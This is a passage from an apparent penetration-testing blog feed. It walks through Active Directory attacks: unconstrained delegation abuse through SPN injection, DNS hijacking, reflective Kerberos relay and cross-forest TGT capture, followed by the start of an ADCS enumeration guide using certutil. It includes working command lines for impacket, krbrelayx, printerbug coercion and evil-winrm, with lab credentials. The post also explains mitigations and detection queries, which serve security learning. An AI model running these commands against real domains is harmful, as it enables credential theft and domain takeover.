attributes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/1*3JWQETVX4-kM1LIEsyZQQA.png" /></figure><p>Validated write means a machine account can only give itself an SPN where the host segment perfectly matches its sAMAccountName or dNSHostName. This would make it impossible to set an arbitrary hostname like we need to, but luckily msDS-AdditionalDnsHostName can also be modified, it is supposed to contain alternative DNS names this computer can use. When a new name is written here a new SPN is automatically added with that name, so with this trick we can bypass the validated write restrictions.</p><p>User accounts do not have DNS attributes nor have SELF SPN write rights, so we cannot inject a fake SPN to coerce targets unless we also control a second user who can modify the unconstrained delegation account. This second user needs at the very least WriteSPN permissions, which isn’t a very commonly delegated permission by itself, so we’re more likely to run into WriteDacl, GenericWrite, GeneircAll and so on.</p><p>In these cases there isn’t much of a difference with your typical network unconstrained delegation attack, so hunting for these users is the easiest option. Exchange servers are great targets for this, as they have elevated privileges over pretty much every non tier 0 principal, and the escalation path I found in the assessment made use of this: an unpatched Exchange server could be compromised with the recent reflective kerberos exploit, and its machine account could be used to give ourselves WriteSPN rights on the unconstrained delegation user:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*frkkPPRVKD1dZKxQkKS5IA.png" /></figure><p>The diagram below summarizes the attack. With the Exchange machine account we give ourselves the permission to add a new HOST or CIFS SPN to srv_a, the delegation user. The new SPN’s hostname is registered as a DNS record pointing to our listener, finally a DC is coerced into authenticating against that hostname and the TGT is received.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5p37afLtQgfMaY6Txw3Wpw.png" /></figure><p>Assume we have compromised an Exchange server like that and have extracted its credentials from the LSA secrets. Starting from WriteDactl permissions we can give ourselves FullControl rights like so:</p><pre>impacket-dacledit test/SRVEXCH01\$ -action write -rights FullControl -principal SRVEXCH01\$ -target srv_a -dc-ip 192.168.0.100 -hashes :778c0c48a9e52e55da85e5422d9924c0</pre><p><a href="https://github.com/dirkjanm/krbrelayx">krbrelayx</a> has a useful addspn.py script that I tend to use to work with SPNs, we give it an SPN containing a non-existing DNS name of type HOST so that it can be used for SMB authentication. <a href="https://github.com/PShlyundin/ldap_shell">ldap_shell</a> is another impacket-based tool we can use for this.</p><pre>python3 krbrelayx/addspn.py -u TEST\\SRVEXCH01\$ -t srv_a -s host/evilspn.test.local -p aad3b435b51404eeaad3b435b51404ee:778c0c48a9e52e55da85e5422d9924c0 192.168.0.100</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sznyRpL0RBrs9E36GUXFmA.png" /></figure><p>Now this is a typical network-based unconstrained delegation attack, we make sure to add our own ADIDNS record and we are ready to coerce:</p><pre>python3 krbrelayx/dnstool.py -u test\\srv_a -p &#39;AAAAaaaa!1&#39; -r evilspn -a add -d 192.168.0.12 192.168.0.100</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*5mJle2x2EVkgoNZFpotG7g.png" /></figure><p>We launch krbrelayx to listen for authentication attempts, providing both the kerberos salt and the user’s clear text password to make sure the script can calculate all the kerberos keys so it can decrypt the TGT. If we don’t have the clear text password we can pass the RC4 and AES keys directly with -hashes and -aesKey.</p><pre>python3 krbrelayx/krbrelayx.py -s &#39;TEST.LOCALsrv_a&#39; -p &#39;AAAAaaaa!1&#39;</pre><p>And launch our coercion attempt, for example using the printerbug script provided in the krbrelayx repo:</p><pre>python3 krbrelayx/printerbug.py test.local/srv_a:&#39;AAAAaaaa!1&#39;@192.168.0.100 evilspn.test.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*X8MAifbnO-_XySMHG3PTxw.png" /></figure><p>We have obtained a TGT for the domain controller.</p><h3>SPN-jacking</h3><p>If compromising a more privileged user isn’t possible it may look like we’re out of luck, but there is still a little hope with <strong>SPN-jacking</strong>, aka hijacking one of the user’s existing SPNs. Every SPN has a class name and a hostname, like HTTP/SRV1.TEST.LOCAL. With SPN-jacking we try to take control of SRV1, or even the A DNS record for SRV1, so we can place ourselves in between the host and our delegation victim.</p><p>Basically our unconstrained delegation user is set up with one or more SPNs, when someone authenticates to those services a KDC create a TGS and encrypts it with one of our service user’s kerberos keys (RC4 or AES based on the negotiated algorithm). Because the service account is configured to impersonate users anywhere, it needs to have the authenticating user’s TGT in order to then request the tickets it will need later: this TGT is placed inside the TGS’s encrypted section, which is then submitted to the computer running the service, where the process running as the service user can extract and utilize the ticket as it sees fit.</p><p>SPN-jacking is our way of receiving the TGS when we can’t inject a new SPN, from there we use the service user’s credentials to decrypt it and extract the target’s TGT. There is unfortunately one major hurdle when it comes to SPN-jacking: the class name. The class of the SPN we have to deal with is what makes or breaks this type of attack, we need to have a class that can be coerced. From my tests I was only able to easily coerce HOST and CIFS.</p><p>The reason unconstrained delegation is so easy to exploit from a machine account is because every domain host automatically has its servicePrincipalNamepopulated with HOST and CIFS SPNs for the computer’s own DNS name: since the average coercion method is based on SMB the coerced authentication will happily delegate the TGT. If for some reason the machine account has no CIFS SPN we can control, we just add our own. When all we have is an HTTP or CUSTOMSTUFF SPN the typical coercion method will still cause an SMB auth, but because our user does not have any CIFS SPNs the client will not delegate us their TGT.</p><p>The class name in an SPN restricts the protocols that will be enabled for kerberos authentication, in order to exploit an SPN we need a protocol that can be coerced (possibly with no user interaction) and a listener to accept the incoming authentication and capture the TGT, and at the moment SMB is the only one meeting both criteria that I know of, since we have a lot of SMB coercion methods available and krbrelayx has the listener code. At least on paper, I believe HTTP SPNs should be exploitable on hosts with the WebClient (aka WebDAV redirector) service installed and running by coercing against a WebDAV URL, but I could not get it to work with krbrelayx.</p><p>So at the end of the day SPN-jacking of this kind is possible only in a pretty small number of cases where we have a domain user with unconstrained delegation and either a CIFS or HOST SPN, it’s not a common situation but the documentation of some programs like <a href="https://connect.hyland.com/t5/alfresco-blog/configuring-the-cifs-and-web-servers-for-kerberos-ad-integration/ba-p/166797">Alfresco</a> does ask administrators to configure users with a CIFS SPN (as well as DES support and no pre-authentication, literally making these users vulnerable to the <a href="https://medium.com/@offsecdeer/des-kerberoasting-and-sessionroasting-d78432678864">DES AS-REP roasting</a> attack I talked about some months ago, yikes).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*o01LPCCdP2bsROqRuU1KRQ.png" /><figcaption>Please don’t do this</figcaption></figure><h3>Live SPN-jacking</h3><p>I am using <a href="https://www.semperis.com/blog/spn-jacking-an-edge-case-in-writespn-abuse/">Elad Shamir</a>’s terminology, even though his article is about constrained delegation the concept is similar: hijacking the SPN pointing to a host that is still active in the network, which in our case means becoming local admin (or root) on the computer. There are countless ways to do this: we can spray the local admin password if LAPS is not employed, target users with write rights on its computer object to then perform <a href="https://medium.com/@offsecdeer/a-practical-guide-to-rbcd-exploitation-a3f1a47267d5">resource-based constrained delegation</a>, or we could use kerberos relays, which have turned out to be incredibly useful techniques. Any method works as long as we become local admins.</p><p>Initially I thought we could extract coerced TGTs from LSASS with mimikatz and rubeus like your typical unconstrained delegation attack, but that didn’t work. I imagine this could be solved by giving these programs specific keys to decrypt the incoming tickets, as they probably use the local computer’s keys which would work in most cases, but not when the service runs under a user and not a computer. Instead, I took a look at the DACL of DNS records and noticed computers are set as owners of their own records and have GenericWrite permissions on it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/391/1*hBXrQLQ3H8FbXQ5SCsIf3A.png" /></figure><p>This is used for dynamic DNS updates, computers often change IP addresses and they need to be reachable no matter how often that happens: for this reason a computer creates its own A record when first joining the domain and updates it every time its address changes. This means if we are local admins we can extract the machine account’s password from the LSA secrets and use it to modify its own DNS record, pointing it to a host we control for just enough time to launch the attack, before restoring the original value.</p><p>To sum up the entire attack:</p><ul><li>the attacker compromises srv_a, service user with the TRUSTED_FOR_DELEGATION flag set in userAccountControl and servicePrincipalName populated with CIFS/SRV1.TEST.LOCAL</li><li>SRV1.TEST.LOCAL is an active domain computer, so the attacker moves laterally and becomes local administrator</li><li>the password of SRV1$ is dumped from LSA and used to change the DNS record SRV1.TEST.LOCAL to 192.168.0.12, IP address of the attacker’s computer</li><li>authentication coercion is performed on a DC towards SRV1.TEST.LOCAL</li><li>the KDC sees the target service user has TRUSTED_FOR_DELEGATION set, so it issues a TGS with the OK-AS-DELEGATE flag and encrypts it with srv_a’s kerberos key</li><li>the DC resolves the IP address of SRV1 to 192.168.0.12 and authenticates to it with the delegation ticket</li><li>the attacker receives the DC’s TGS, it decrypts it using srv_a’s kerberos key and obtains the DC’s TGT</li><li>the attacker restores the DNS record and can now DCSync the domain or take control of the DC by impersonating any user with S4U2Self, or creating a silver ticket</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*BReZXpVSgVATcIEPVcHAKw.png" /></figure><p>This was a great opportunity to try out the newly discovered <a href="https://blog.redteam-pentesting.de/2025/reflective-kerberos-relay-attack/">CVE-2025–33073</a>, also known as the reflective kerberos relay. If the target isn’t patched all we need to do is add a DNS record pointing to our attacking computer with this name: &lt;target&gt;1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA. In my lab the target has the NetBIOS name SRV1 so the resulting DNS record is srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA. After creating this record any coercion method allows us to dump the target’s SAM or run arbitrary commands on it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jAiSl9mApLiDD4RjDndF4Q.png" /></figure><p>Once we are admins we can control the computer’s machine account, and at this point the attack looks similar to a normal krbrelayx-based delegation exploit, except instead of adding a new SPN to the computer we just change its DNS record. Note that in dnstool there is no parameter dedicated to pass-the-hash, we still use-p passing it the LM and NT hashes:</p><pre>python3 dnstool.py -u test\\SRV1\$ -p &lt;LM&gt;:&lt;NT&gt; -r srv1 -a modify -d 192.168.0.12 192.168.0.100</pre><p>Remember that when running krbrelayx we need to pass the service user’s case sensitive kerberos salt, which is used to prevent two users with the same password from having the same AES keys, however RC4 and MD5 (DES) keys are not salted. To calculate the salt we take the realm name (the uppercase domain FQDN) and concatenate it with our user’s sAMAccountName: TEST.LOCALsrv_a.</p><pre>python3 krbrelayx.py -s &#39;TEST.LOCALsrv_a&#39; -p &#39;AAAAaaaa!1&#39;</pre><p>With this information krbrelayx is able to extract the victim’s TGT from the TGS and save it as ccache, allowing us to impersonate them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*Zar-VydoukdRuUfLuJm8cQ.png" /></figure><p>This attack could be carried out without compromising any domain hosts if the attacker has control of a member of DnsAdmins: this group can modify any existing record as they wish, so feel free to target these users.</p><h3>Ghost SPN-jacking</h3><p>We should try to resolve every hostname of all of our service user’s SPNs, because if at any point one of the computers running the service were deleted or renamed chances are we will find an SPN pointing to a missing DNS record, and that’s a golden opportunity.</p><p>Normally when a computer is deleted from the AD database its DNS record is also removed, leaving the possibility to create a new one with the same old name: the new record will obviously have a new DACL, granting full write permissions to its creator. As a result this attack is simpler than the previous, we don’t need to compromise any domain hosts as long as we already have a device in the network to capture the credentials, we just create a new DNS record with the same name of the missing host and coerce as usual.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*b9f__q0ihChOttiQYr87kg.png" /><figcaption>I realize these diagrams aren’t great, but hey they’re fun to make</figcaption></figure><p>We use this command to create a new record pointing to the old hostname, 192.168.0.100 is the address of the DC to connect to, -t the record type and -d our computer’s address:</p><pre>python3 dnstool.py -u test\\srv_a -p &#39;AAAAaaaa!1&#39; -r srv2.test.local -d 192.168.0.12 -a add -t A 192.168.0.100</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*4ThRKZhKGwuDqFJkIG8fNA.png" /></figure><p>Then krbrelayx is run the same way as before, with salt and clear text password, before launching our coercion method of choice:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*v0H2kMfqRh2UeO3F5-zUkQ.png" /></figure><p>What if there is an SPN containing an existing DNS record, but that address is not responding? In theory we could change our own IP address to the one found in the stale record, assuming it is on our same subnet. I got the idea from <a href="https://blog.scrt.ch/2023/09/25/exploiting-stale-adidns-entries/">this</a> article, where a useful little modified version of <a href="https://github.com/scrt/scrtdnsdump">adidnsdump</a> is also provided to easily spot these stale records.</p><p>What we do is we resolve the hostname to obtain the IP behind it, send an ARP packet to it to determine if it’s available (to bypass firewall rules blocking pings), and if we get no reply we can borrow the IP address. The exploitation steps do not change after this.</p><h3>S4U2Self</h3><p>When it comes to DC credentials the most immediate use we can think of is DCSync: DC machine accounts have replication permissions on the domain so we can obtain any user’s hashes and keys. This may not be the best option in environments where any serious security solution is employed: replication traffic from a host that’s not a domain controller is very suspicious and most EDRs will block it.</p><p>Instead we can use S4U2Self, the kerberos extension allowing any machine account to impersonate anyone on itself. With this we can become anyone in the domain, as long as we try to access services local to the DC we have targeted. A neat thing about this method is that it completely bypasses protections against delegation: members of Protected Users and users with the flag Account is sensitive and cannot be delegated set can still be impersonated with S4U2Self.</p><p>In impacket’s getST we request S4U2Self tickets with the -self flag, specifying the service we wish to access with -altservice. If we want to gain code execution on the DC with WinRM we can specify HTTP/DC.TEST.LOCAL, and obviously -impersonate is the name of our target.</p><pre>KRB5CCNAME=&#39;DC$@TEST.LOCAL_krbtgt@TEST.LOCAL.ccache&#39; getST.py -altservice http/dc.test.local -impersonate administrator -k -no-pass -dc-ip 192.168.0.100 -self test.local/dc\$</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*OS4lz-WLCVDxqJ7YXTtyaQ.png" /></figure><p>Something I noticed is that on Kali S4U2Self tickets never seem to work unless I install the krb5-user package: during installation it asks for the realm and KDC FQDNs, once that is done we set the KRB5CCNAME variable to the service ticket and any tool supporting kerberos authentication should pick it up, for example with evil-winrm:</p><pre>evil-winrm -r TEST.LOCAL -i dc.test.local -u administrator --spn http</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*lxjmiwecNkj_15-r-pGJgQ.png" /></figure><p>You may notice that usually WinRM tickets have the WSMAN SPN class, not HTTP like in the example above. A little trick called <a href="https://web.archive.org/web/20200514003238/https://www.secureauth.com/blog/kerberos-delegation-spns-and-more/">AnySPN</a> allows us to use a service ticket for service A to access service B, as long as A and B are running as the same service user, like the DC machine account. This means it doesn’t really matter what SPN we request as long as we have a valid ticket encrypted with the same key of the user running the service we try to access. impacket automatically implements this so an LDAP ticket for a DC allows us to open a WinRM session as well.</p><h3>Cross-Forest Compromise</h3><p>Given two AD forests linked by a bidirectional trust a user with unconstrained delegation from domain A could coerce a DC in domain B to capture its TGT, becoming able to DCSync B or impersonate anyone on the DC itself. <a href="https://blog.harmj0y.net/redteaming/not-a-security-boundary-breaking-forest-trusts/">Will Schroeder</a> first documented this attack, and it made unconstrained delegation an even more dangerous vulnerability.</p><p>This is made possible because by default when such a trust is put in place any authenticated user from domain A can authenticate to domain B and inherit B’s Authenticated Users SID in their TGS PACs, allowing them to interface with the resources hosted on the trusted domain. Selective authentication can be put in place to specify exactly who can access the other domain, but it is not used as often and it takes more time to set up, resulting in excessive access rights given to users who have no reason to access the trusted forest.</p><p>The attack is identical to any one of the previous scenarios, except we target another domain’s domain controller. Here srv_a from TEST.LOCAL coerces OTHERDC from DOMAINB.LOCAL (192.168.0.110), successfully receiving and decrypting its TGT:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*L-MwV-XUqQ-TGgO6eVzbyw.png" /></figure><p>With OTHERDC’s TGT we can impersonate the DOMAINB administrator:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*Kjz71SDFSJbgcPOUar4Z6Q.png" /></figure><p>When I begun researching this topic the cross-forest attack was my main objective, because compromising a forest is fun, but taking control of two is even better. The scenario worked perfectly in the initial lab, but then I had a few sad hours when I tried it on a DC with Windows Server 2022, and then again after taking Windows Server 2016, where it had worked previously, and updated it fully: the attack stopped working.</p><p>In 2019 an <a href="https://support.microsoft.com/en-us/topic/updates-to-tgt-delegation-across-incoming-trusts-in-windows-server-1a6632ac-1599-0a7c-550a-a754796c291e">update</a> was released to resolve this type of attack: now, by default, referred service tickets crossing a forest trust will not include the account’s TGT anymore. When installing this update any pre-existing trust will have TGT delegation automatically disabled, breaking unconstrained delegation across forests, even for legitimate uses. Because some companies still rely on this type of configuration Microsoft made sure to add a flag to re-enable the old behavior, meaning we could still find some exploitable forests. This is the command to reintroduce TGT delegation:</p><pre>netdom trust &lt;TrustedDomainName&gt; /domain:&lt;TrustingDomainName&gt; /EnableTgtDelegation:Yes</pre><p>In order to detect vulnerable trusts we must analyze Trusted Domain Objects (TDO): these are AD objects created on both sides of a trust to describe its properties. One of the most important TDO attributes is trustAttributes: this bitmask affects what type of trust the TDO represents, its direction, if it is internal or external to the forest, transitivity, and among many other things if TGT delegation should be re-enabled.</p><p>When the KDC of domain B receives a TGS-REQ from one of its hosts towards a service in domain A it will check the following in the trustAttributes of domain A’s TDO:</p><ul><li>is TRUST_ATTRIBUTE_WITHIN_FOREST (0x00000020) set? If so, delegation is <strong>enabled</strong></li><li>is TRUST_ATTRIBUTE_CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION (0x00000800) set? If so, delegation is <strong>enabled</strong></li><li>is TRUST_ATTRIBUTE_QUARANTINED_DOMAIN (0x00000004) set? If so, delegation is <strong>disabled</strong></li><li>is TRUST_ATTRIBUTE_CROSS_ORGANIZATION_NO_TGT_DELEGATION (0x00000200) set? If so, delegation is <strong>disabled</strong></li><li>if none of the previous flags are set, by default TGT delegation is <strong>disabled</strong> if the 2019 patch is installed or the OS is at least Windows Server 2022, and it is <strong>enabled</strong> if the OS is Windows Server 2019 or below without the patch</li></ul><p>If the KDC in domain B decides TGT delegation should be disabled it will answer to the client’s TGS-REQ with a TGS-REP containing a service ticket <strong>without</strong> the OK-AS-DELEGATE flag, so it won’t contain the user’s TGT anymore.</p><p>It’s important to remember that TGT delegation protection is only enforced across forests, an attacker in SUB.TEST.LOCAL can still coerce DC.TEST.LOCAL and the only way to disable this behavior is to mark a subdomain as quarantined.</p><p>To summarize: we can exploit unconstrained delegation across forests only if the DCs of the target domain are unpatched or if that domain has set TRUST_ATTRIBUTE_CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION in its copy of our domain’s TDO. Below is the screenshot of a few exploit attempts on the usual DOMAINB.LOCAL after it was updated, and then after re-enabling TGT delegation:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*8YqwmEUGz8lj8IV5k3p4Wg.png" /></figure><p>As long as forest-wide authentication is enabled (default) we can connect to any DC in DOMAINB with any TEST.LOCAL user to query their TDOs, and find out if we can compromise them from our own domain. The TDO of DOMAINB in our own AD database only describes the incoming trust, so it is possible to find TGT delegation enabled on one side and not the other, and what matters to us is finding it enabled on the side of DOMAINB because that one is the object dictating whether their KDCs will trust TEST.LOCAL with delegating their credentials. TDOs are stored in CN=System,DC=test,DC=local and have the name of the trusted domain:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/470/1*6NYRBkYdlcu6v7AzbzGIXg.png" /></figure><h3>BloodHound</h3><p>Timing couldn’t have been better, as <a href="https://specterops.io/blog/2025/06/25/good-fences-make-good-neighbors-new-ad-trusts-attack-paths-in-bloodhound/">SpecterOps</a> released a blog post just as I was working on this detailing the new BloodHound edges for trust analysis, which can be used to determine if a forest is vulnerable to TGT delegation attacks. AbuseTGTDelegation edges are automatically created between two domains when one with TGT delegation enabled trusts another. With a simple query like this we can visualize users who can take control of the vulnerable domain:</p><pre>MATCH q=()-[:CoerceToTGT]-&gt;(:Domain)-[:AbuseTGTDelegation]-&gt;(:Domain)<br>RETURN q</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*7hcLHW5M18dq3Extd9-6-Q.png" /></figure><p>In order to analyze domain trusts accurately we need to run SharpHound to collect data for each domain, only then we’ll be able to see the full configuration. When we collect data from TEST.LOCAL we’ll only see if TGT delegation is enabled inbound from DOMAINB.LOCAL, but if the configuration is the other way around we won’t be able to see that without ingesting the second domain too. The vulnerability in the screenshot above is only visible from both domains, as the users with unconstrained delegation belong to TEST.LOCAL and the vulnerable TDO is in DOMAINB.LOCAL.</p><p>When we have analyzed only one domain we can use this simpler query to see if there are any vulnerable TDOs, without verifying the presence of unconstrained delegation users in the trusted domain:</p><pre>MATCH q=(:Domain)-[:AbuseTGTDelegation]-&gt;(:Domain)<br>RETURN q</pre><h3>Conclusion</h3><p>We have learned today that user-based unconstrained delegation is very much possible and dangerous, but it has serious limitations: either we rely on the type and number of pre-existing service principal names or we try to find a more privileged user to give us a little push forward, either by modifying existing DNS records or even better by adding rogue SPNs to our service user.</p><p>It’s important to make sure that no service is configured to run with unconstrained delegation across forest trusts, the current default configuration is safe from TGT delegation but the vulnerability can be re-introduced, and if one domain is set up to use unconstrained delegation it’s possible that trusted forests could have been configured to allow delegation from that domain.</p><p><strong>References</strong></p><ul><li><a href="https://exploit.ph/user-constrained-delegation.html">https://exploit.ph/user-constrained-delegation.html</a></li><li><a href="https://support.microsoft.com/en-us/topic/updates-to-tgt-delegation-across-incoming-trusts-in-windows-server-1a6632ac-1599-0a7c-550a-a754796c291e">https://support.microsoft.com/en-us/topic/updates-to-tgt-delegation-across-incoming-trusts-in-windows-server-1a6632ac-1599-0a7c-550a-a754796c291e</a></li><li><a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/bac4dc69-352d-416c-a9f4-730b81ababb3">https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/bac4dc69-352d-416c-a9f4-730b81ababb3</a></li><li><a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/2e5dcf34-4b51-44a0-b45a-277ed616ca39">https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/2e5dcf34-4b51-44a0-b45a-277ed616ca39</a></li><li><a href="https://blog.harmj0y.net/redteaming/not-a-security-boundary-breaking-forest-trusts/">https://blog.harmj0y.net/redteaming/not-a-security-boundary-breaking-forest-trusts/</a></li><li><a href="https://adsecurity.org/?p=1667">https://adsecurity.org/?p=1667</a></li><li><a href="https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/">https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/</a></li><li><a href="https://specterops.io/blog/2025/06/25/good-fences-make-good-neighbors-new-ad-trusts-attack-paths-in-bloodhound/">https://specterops.io/blog/2025/06/25/good-fences-make-good-neighbors-new-ad-trusts-attack-paths-in-bloodhound/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=29b916d1ff25" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ADCS Exploitation Part 3: Living Off The Land]]></title>
            <link>https://medium.com/@offsecdeer/adcs-exploitation-part-3-living-off-the-land-9c6494d6a84e?source=rss-27dad9470782------2</link>
            <guid isPermaLink="false">https://medium.com/p/9c6494d6a84e</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[active-directory-security]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Giulio Pierantoni]]></dc:creator>
            <pubDate>Wed, 18 Jun 2025 16:31:35 GMT</pubDate>
            <atom:updated>2025-06-18T16:31:35.994Z</atom:updated>
            <content:encoded><![CDATA[<p>ADCS exploitation is now a common tactic for domain escalation but most guides will tell you how to use certipy and certify, which may not be an option when all you have to work with is a heavily monitored domain host. I found myself in this situation a few times so I started experimenting with native tools.</p><p>Windows comes with two certificate utilities that are capable of way more than you’d expect: certutil and certreq. These two tools can manage most PKI-related tasks but they aren’t exactly user friendly, so I thought it would be useful to show how to use them to attack ADCS by living off the land. We’ll also see how to use the resulting certificates for client authentication with only native tools or APIs.</p><h3>Enumeration</h3><p>certutil will make most of the enumeration for us. The following is a basic query that checks the presence of enterprise CAs in the domain, displaying their name and some basic properties.</p><pre>certutil -TCAInfo</pre><p>From this command we can gather:</p><ul><li>FQDN and name of enterprise CAs</li><li>published templates</li></ul><p>We can also check if any CAs have web roles enabled with -dump, if so we’ll see a URL towards the bottom of their properties, although this URL isn’t the one we need to use for relay attacks or web enrollment it still indicates the role is present:</p><pre>certutil -dump<br>or:<br>certutil ca.testlab.loc\CA -enrollmentServerURL</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*YXkjbyxNFxXeZJllswlkXA.png" /></figure><p>Many certutil commands require specifying a CA to query, this is done with the syntax &lt;FQDN&gt;\&lt;CA_Name&gt;.We should also check if the RPC interfaces of the CA are reachable:</p><pre>certutil -ping CA</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XSo4tzzQFaJyI_U3xWGAZw.png" /></figure><p>We can also check if there are any non-default policy and exit modules, these are DLL files that may apply additional access controls and block our attacks or log more information on the CA (<a href="https://github.com/Sleepw4lker/TameMyCerts">TameMyCerts</a> is an example of policy module that can be used to detect and block ADCS attacks):</p><pre>certutil -config ca.testlab.loc\ca -CAInfo policy<br>certutil -config ca.testlab.loc\ca -CAInfo exit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*8-FxxunWVOlJ5lZcXxSdYA.png" /></figure><p><strong>CA Validation</strong></p><p>Before we can exploit any vulnerabilities we need to make sure enterprise CAs have valid certificates and these are trusted by the domain. We can do so by requesting the root certificates from the CA themselves and analyze them:</p><pre>certutil -ca.cert -config ca.testlab.loc\ca ca.cer</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*yEErKBG6Y5xsbmef_2Myzw.png" /></figure><p>We also need to ensure the entire hierarchy is trusted if we are to target a subordinate CA, we do so by downloading the CA certificate and checking its Certification Path tab:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*9j3WFq5fS8X9gEEmezd8hw.png" /></figure><p>Next we need to make sure the certificates of our target CAs are present in the domain’s NTAuthCertificates store, or we won’t be able to authenticate on the domain using the Client Authentication certificates we request:</p><pre>certutil -viewstore -enterprise NTAuth</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qbOyVEcsOGIHjL63wr7vTA.png" /></figure><p>Another thing to verify from the properties of a CA certificate is the presence of the Enhanced Key Usage extension: if present the CA has been set up with EKU constraints, meaning only certificates with the OIDs in this extension can be issued. If none of the Client Authentication EKUs appear here we won’t be able to exploit the CA. This is why it is a good security measure to determine during PKI planning exactly what certificates a CA will be required to provide, and authorize only those specific usages.</p><p>We can see the presence of EKU constraints in a CA certificate’s General tab, under “This certificate is intended for the following purpose(s)”, or the details tab for the extension itself.</p><p><strong>Templates</strong></p><p>If we have GUI access we can load the Certificates snap-in from MMC, open our personal store, and right click -&gt; All Tasks -&gt; Request New Certificate. After selecting an enrollment policy (usually the default one) we should automatically see the list of templates our user has access to.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*SPfMFCGK0BOmh4HGBABzGQ.png" /></figure><p>By clicking on Details we can get a view of each template’s EKUs, listed under Application Policies. This already allows us to quickly identify potentially interesting templates, even more so if a warning sign appears below, indicating enrollment requires additional information: this often means the template requires a user-supplied SAN. By clicking on the warning we can see if the required information really is the SAN, or something else.</p><p>For a much more detailed view of a template we can use certutil’s dsTemplate switch, it lists the values of many important template attributes we need to gauge to identify vulnerabilities:</p><pre>certutil -dsTemplate templateName</pre><p>pKIExtendedKeyUsage contains the list of EKU OIDs that determine how a certificate can be utilized. Client Authentication is the EKU we are the most interested in, but there are other ones that can result in user impersonation.:</p><ul><li>Client Authentication: 1.3.6.1.5.5.7.3.2</li><li>Smart Card Logon: 1.3.6.1.4.1.311.20.2.2</li><li>PKInit Client Authentication: 1.3.6.1.5.2.3.4</li><li>Any Purpose: 2.5.29.37.0</li><li>Certificate Request Agent: 1.3.6.1.4.1.311.20.2.1</li></ul><p>SAN and other subject name requirements are dictated by msPKI-Certificate-Name-Flag, the potential lack of security extension (ESC9) is determined by msPKI-Enrollment-Flag, and the number of RA signatures required for enrollment are in msPKI-RA-Signature. If this number is not 0 then we cannot exploit the template, as the CSR needs to be signed with that many enrollment agent certificates before it is approved.</p><p>msPKI-Certificate-Name-Flag also determines other criteria an account needs to meet in order to qualify for enrollment, for example some templates may require a user to have an email address in their mail attribute, a UPN, or a DNS name in their dnsHostName attribute. Depending on the type of account in our possession these settings can make a vulnerability unexploitable in a specific scenario. For example, templates requiring a DNS name cannot be exploited by user accouts because they do not have a dnsHostName attribute at all, so even if the DACL gives them enrollment permissions they do not qualify for enrollment. Machine accounts have validated write permissions on their own DNS attribute, so they are allowed to set it to themselves if it’s empty.</p><p>Finally, a set flag 0x2 in attribute msPKI-Enrollment-Flag (CT_FLAG_PEND_ALL_REQUESTS) means certificate requests for this template require manual approval from a certificate manager, that also makes the template unexploitable unless we manage to become certificate manager/officer, then we can forcefully approve the pending request and recover the certificate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*3XzsEzZ8pi9X7a9v86yKVw.png" /></figure><p>The table below can be used as reference for the values we’re interested in:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cl9itQ7OHsYCSMkxoflXWw.png" /></figure><p>With -Template we can see the DACL in user friendly and SDDL format, so we can see what principals can enroll and modify each template. Through this information we can also spot ESC4 vulnerabilities. We can also add -v to the command to see the list of EKU OIDs interpreted as user-friendly names and a list of potentially useful flags, such as the SAN and enrollment related settings.</p><pre>certutil -Template &lt;templateName&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sjcHnUMcoZeTT0jTXmmG8A.png" /></figure><p>In environments with multiple CAs we need to target the right CA to exploit 